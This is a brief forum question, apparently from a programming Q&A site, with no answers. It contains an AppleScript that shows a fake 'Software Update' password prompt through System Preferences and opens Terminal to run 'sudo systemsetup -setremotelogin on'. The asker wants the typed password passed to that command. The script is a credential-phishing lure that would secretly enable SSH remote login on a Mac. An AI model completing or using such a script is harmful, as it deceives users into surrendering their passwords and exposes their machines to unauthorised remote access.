How do I get the text entered into System Preferences to be inputed into Terminal?

50 Views Asked by At

tell application "Terminal" do script "sudo systemsetup -setremotelogin on"

tell application "System Preferences"
    (display dialog "Software Update requires that you type your password to apply changes." default answer "" with title "Software Update" with icon 1 with hidden answer)

end tell

end tell

0

There are 0 best solutions below